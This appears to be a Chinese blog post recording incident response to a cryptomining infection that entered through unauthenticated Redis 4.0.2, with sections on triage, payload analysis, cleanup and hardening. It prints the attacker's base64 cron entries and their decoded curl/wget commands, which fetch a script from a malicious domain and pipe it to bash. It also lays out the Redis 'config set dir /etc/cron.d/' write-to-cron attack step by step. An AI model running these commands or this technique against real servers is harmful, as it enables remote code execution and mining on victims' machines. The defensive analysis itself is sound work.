Linux 服务器被挖矿病毒入侵的排查与清理实录(根因:Redis 未授权访问)
一次真实的挖矿病毒应急响应记录:crontab 里出现陌生任务、
ps/top被篡改、Redis 端口被pnscan持续扫描。本文完整还原入侵链路、清理步骤和加固方案。⚠️ 警告:文中出现的域名、脚本均为病毒指标(IOC),仅供分析学习,切勿访问或执行。
一、入侵现场:三个可疑迹象
排查一台行为异常的服务器时,发现了三个明显的入侵迹象。
迹象 1:crontab 里出现陌生任务
/etc/cron.d/ 下多了一个陌生文件 zzh,同时 /etc/crontab 也被写入了内容。打开文件一看,开头是一段二进制乱码,中间夹着几行 cron 任务:
$ cat /etc/cron.d/zzh
REDIS0008ú redis-ver^E4.0.2ú
redis-bitsÀ@ú^EctimeÂGútbú^Hused-memÂH<9e>^L^@ú^Nrepl-stream-dbÀÿú
^@^Gbackup3@o
*/4 * * * * root echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash
^@^Gbackup1@l
*/2 * * * * root echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash
^@^Gbackup2@w
*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash
注意三个细节:
- 文件开头是 Redis RDB 文件的二进制头 (
REDIS0008、redis-ver 4.0.2)------这直接暴露了入侵方式(后文详解); - 三条 cron 任务分别每 2、3、4 分钟执行一次------这就是"杀掉恶意进程它马上复活"的原因;
- 命令全是
echo <base64>|base64 -d|bash的形式------用编码伪装真实载荷。
迹象 2:ps、top 等系统命令行为异常
用 ps、top 查看进程时,输出和预期对不上------系统命令本身已被病毒替换,用来隐藏恶意进程。这也是这类挖矿家族的常见手法:先篡改你的"眼睛",再放心挖矿。
迹象 3:Redis 端口持续被 pnscan 访问
Redis 端口上一直有个叫 pnscan 的进程在活动,而且进程 PID 一直在变 ------因为 cron 每 2~4 分钟重新拉起一次。pnscan 是一个端口扫描工具,说明这台机器不仅在被挖矿,还在作为"肉鸡"对外扫描传播。
二、分析恶意载荷:base64 解码
把 cron 里的三段 base64 解开看看(在隔离的分析环境中操作,不要在中毒机器上直接执行):
$ echo Y3VybCBodHRwOi8vb3JhY2xlLnp6aHJlY2VpdmUudG9wL2IyZjYyOC9iLnNoCg== | base64 -d
curl http://oracle.zzhreceive.top/b2f628/b.sh
$ echo Y2QxIGh0dHA6Ly9vcmFjbGUuenpocmVjZWl2ZS50b3AvYjJmNjI4L2Iuc2gK | base64 -d
cd1 http://oracle.zzhreceive.top/b2f628/b.sh
$ echo d2dldCAtcSAtTy0gaHR0cDovL29yYWNsZS56emhyZWNlaXZlLnRvcC9iMmY2MjgvYi5zaAo= | base64 -d
wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh
三条命令指向同一个地址:用 curl/wget 下载 b.sh 并直接交给 bash 执行。b.sh 就是真正的恶意脚本(下载挖矿程序、释放 pnscan 扫描器、替换系统命令)。
顺带一提:看到 echo xxx|base64 -d|bash 这种形态的定时任务,基本可以直接判定为恶意------正常业务没有人这样写 cron。
三、入侵链路还原:Redis 未授权访问 → RDB 写入 cron
为什么 cron 文件开头会有一段 Redis RDB 的二进制头?这暴露了完整的入侵路径。
这台服务器的 Redis(4.0.2)暴露在公网且无密码,攻击者的利用过程:
# 1. 扫描器扫到公网上的 6379 端口,直接连入(无需认证)
redis-cli -h <受害机IP>
# 2. 利用 Redis 的持久化机制,把 RDB 文件写到 cron 目录
config set dir /etc/cron.d/
config set dbfilename zzh
set backup1 "\n\n*/2 * * * * root echo <base64载荷>|base64 -d|bash|bash\n\n"
save
# 3. cron 生效,定时下载并执行恶意脚本
原理:Redis 的 RDB 快照文件就是内存数据的序列化 dump。攻击者把恶意 cron 命令作为 value 写进 Redis,再把持久化目录指到 /etc/cron.d/、文件名设为 zzh,一次 save 之后,RDB 文件(带着二进制头和恶意命令)就落在了 cron 目录里。
cron 解析文件时会跳过无法解析的行(只在日志里报错),但会正常执行其中格式合法的行------二进制乱码不影响那几行恶意任务生效。文件里残留的 backup1@o、redis-ver 4.0.2 等字段,就是 RDB 里 key/value 结构留下的痕迹。
至此,入侵链路完整了:
公网扫描发现 6379 未授权
↓
Redis 写入恶意 key + 修改持久化路径
↓
RDB 落盘到 /etc/cron.d/zzh(持久化)
↓
cron 每 2~4 分钟拉起恶意脚本
↓
下载挖矿程序 + pnscan 对外扩散 + 篡改 ps/top 隐藏自身
四、清理步骤(顺序很重要)
核心原则:先断持久化,再杀进程。顺序反了就会陷入"杀掉→2 分钟后复活"的打地鼠循环。
4.1 先隔离
- 机器摘掉公网流量,或安全组先封 6379 入口和恶意域名的出口方向;
- 这一步既防止清理过程中被二次写入,也避免 pnscan 继续对外扫描(对外扫描可能招来云厂商封机甚至投诉)。
4.2 清除持久化入口
bash
# 检查所有可能的 cron 位置
crontab -l -u root
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /var/spool/cron/
# 删除恶意文件,清理 /etc/crontab 中被插入的行
rm -f /etc/cron.d/zzh
# 找出近期被修改过的定时任务文件(防止漏掉)
find /etc/cron* /var/spool/cron -type f -mtime -7
4.3 定位并杀掉恶意进程
本机的 ps/top 已被篡改,不能信任,换替代手段:
bash
# 方法1:用 busybox(静态编译,未被篡改)
busybox ps aux | egrep 'pnscan|zzh|miner|kworkerds'
# 方法2:直接遍历 /proc
ls -l /proc/*/exe 2>/dev/null | egrep -v '/usr/|/lib/|/bin/|/sbin/'
# 找到后强杀
kill -9 <恶意进程PID>
同时删除恶意文件的落盘位置(这类家族常见藏身处):
bash
ls -la /tmp/ /var/tmp/ /dev/shm/ # 重点看隐藏目录(名字带点的)
4.4 检查其他持久化项
这类病毒经常顺手加多条后路,逐项排查:
bash
# SSH 后门公钥
cat /root/.ssh/authorized_keys
# 自启动项
ls -l /etc/systemd/system/ /usr/lib/systemd/system/ | head -50
cat /etc/rc.local
systemctl list-unit-files --state=enabled | grep -v multi-user
发现陌生的条目一律删除。
4.5 修复被篡改的系统命令
bash
# 校验系统包完整性(被改过的文件会列出来)
rpm -V procps # CentOS/RHEL
dpkg -V procps # Debian/Ubuntu
# 重装或从同版本的干净机器上拷贝 ps/top 等命令
yum reinstall procps -y
4.6 加固 Redis(根因不除,半小时后被再次入侵)
这次被入侵的根因就是 Redis 裸奔在公网,清理完必须立刻加固:
# redis.conf
bind 127.0.0.1 # 只监听本地;确需内网访问就绑内网 IP
requirepass <强密码> # 设置密码
rename-command CONFIG "" # 禁用危险命令(CONFIG/FLUSHALL/FLUSHDB 按需)
rename-command FLUSHALL ""
配套措施:
- 云安全组/防火墙彻底封死 6379 对公网(这是最重要的一条);
- 不要用 root 跑 Redis,单独建低权限用户;
- 升级 Redis 版本(这台机器当时还在跑 4.0.2)。
4.7 复查
bash
# 装个 rootkit 检测工具扫一遍
yum install -y rkhunter && rkhunter --check
# 观察 1~2 天,确认 cron 目录没有再被写入新文件
watch -n 60 'ls -l /etc/cron.d/ /etc/crontab'
如果 Redis 没加固就上线业务,大概率几天后 /etc/cron.d/ 又会出现新文件------扫描器是全自动的,它们不会"放过"任何一个开放端口。
五、复盘
| 环节 | 攻击动作 | 我们的失误 | 对应修复 |
|---|---|---|---|
| 入口 | 扫描公网 6379 | Redis 无密码暴露公网 | 安全组封端口 + requirepass |
| 持久化 | RDB 写 /etc/cron.d/ | 目录可被 Redis 进程写入 | 非 root 运行 Redis + 禁 CONFIG |
| 载荷 | cron 每 2~4 分钟下载脚本 | 发现不及时 | 主机侧告警(异常 crontab 写入) |
| 隐藏 | 篡改 ps/top | 缺少文件完整性校验 | 定期 rpm -V 校验关键包 |
| 扩散 | pnscan 对外扫描 | 出网无管控 | 出口防火墙限制 |
几条可复用的经验:
- Redis 未授权访问 ≠ 只丢数据。以 root 运行时,它约等于把机器 root 权限送出去------RDB 写 cron 只是众多利用姿势之一(写 SSH key、写 LD_PRELOAD 同样常见);
- 应急响应先断持久化再杀进程,否则永远在打地鼠;
- 中毒机器上的命令不可信 ,busybox 和
/proc是底线工具; - 清理必须连根:入口(Redis)、持久化(cron/自启动/SSH key)、载荷(恶意文件)、善后(被篡改的系统命令),漏一个都会复发;
- "乱码文件里的有效行"是个经典盲区:cron 会跳过解析失败的行、执行合法行,攻击者正是利用这一点把恶意任务藏进 RDB 二进制里。